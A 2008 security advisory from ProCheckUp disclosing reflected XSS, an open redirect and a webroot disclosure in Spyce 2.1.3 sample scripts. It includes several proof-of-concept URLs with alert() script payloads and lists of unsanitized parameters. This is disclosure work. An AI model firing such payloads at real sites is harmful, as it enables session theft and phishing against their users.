procheckup logo
sidebar_boxes_image

Contact Us

Find out more information about ProCheckUp click here.


sidebar_boxes_image

Services

Find out more about ProCheckUp services here.


sidebar_boxes_image

Events

  • PCI DSS User Group meeting

    Neira Jones will be speaking on Barclaycards current approach to PCI and offering advice and guidance to merchants.

Click here to see more events.

Vulnerabilities 2008


PR08-01 Several XSS, a cross-domain redirect and a webroot disclosure on Spyce - Python Server Pages (PSP)


  • Advisory publicly released: Tuesday, 19 February 2008
  • Vulnerability found: Wednesday, 19 December 2007
  • Vendor informed: Sunday, 14 January 2007
  • Vulnerability fixed: the vendor did not respond, however a workaround has been included in the "Fix" section of this advisory.
  • Severity level: Medium
  • Credits
    Richard Brain, Jan Fry, and Bruno Kovacs of ProCheckUp Ltd (www.procheckup.com)
  • Description
    All Spyce sample scripts that return client-supplied input back to the browser are vulnerable to XSS. It is also possible to redirect users to third-party sites and obtain the webroot path by not submitting required parameters to certain scripts.
  • Proof of concept
  • How to fix
    Remove sample scripts from live environments.
  • Consequences
    An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a Spyce-based site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.

    Attackers can redirect victim users to third-party sites. Such behaviour can help attackers perform phishing attacks by redirecting the victim to a spoof login page.
  • BID
    27898
  • Note
    tested on Spyce - Python Server Pages version 2.1.3

    The following are only some examples that demonstrate XSS:

    http://domain.foo/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal

    http://domain.foo/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>

    http://domain.foo/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>

    http://domain.foo/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>

    http://domain.foo/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>

    http://domain.foo/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E

    Other vulnerable scripts and unsanitized parameters:

    Script: /demos/chat/
    parameter: newline

    Script: /docs/examples/formintro.spy
    parameter: text1

    Script: /docs/examples/formtag.spy
    parameter: mytext
    parameter: mydate

    Script: /docs/examples/redirect.spy
    parameter: type
  • Note
    some XSS can only be exploited via POST requests (as opposed to GET). This could be done by using an embedded HTML form with "method='POST'" attribute and a JavaScript snippet that causes the form to auto-submits itself. Such form would be located on a third-party site.

    Cross-domain redirect PoC:

    http://domain.foo/spyce/examples/redirect.spy?url=www.procheckup.com&type=external

    Requesting the following URL returns the server's webroot:

    http://domain.foo/spyce/examples/automaton.spy
  • CVE reference
    CVE-2008-0980
  • References


    http://www.procheckup.com/research/views/vulnerabilities


    http://spyce.sourceforge.net/


  • Legal
    Copyright 2008 Procheckup Ltd. All rights reserved.

    Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.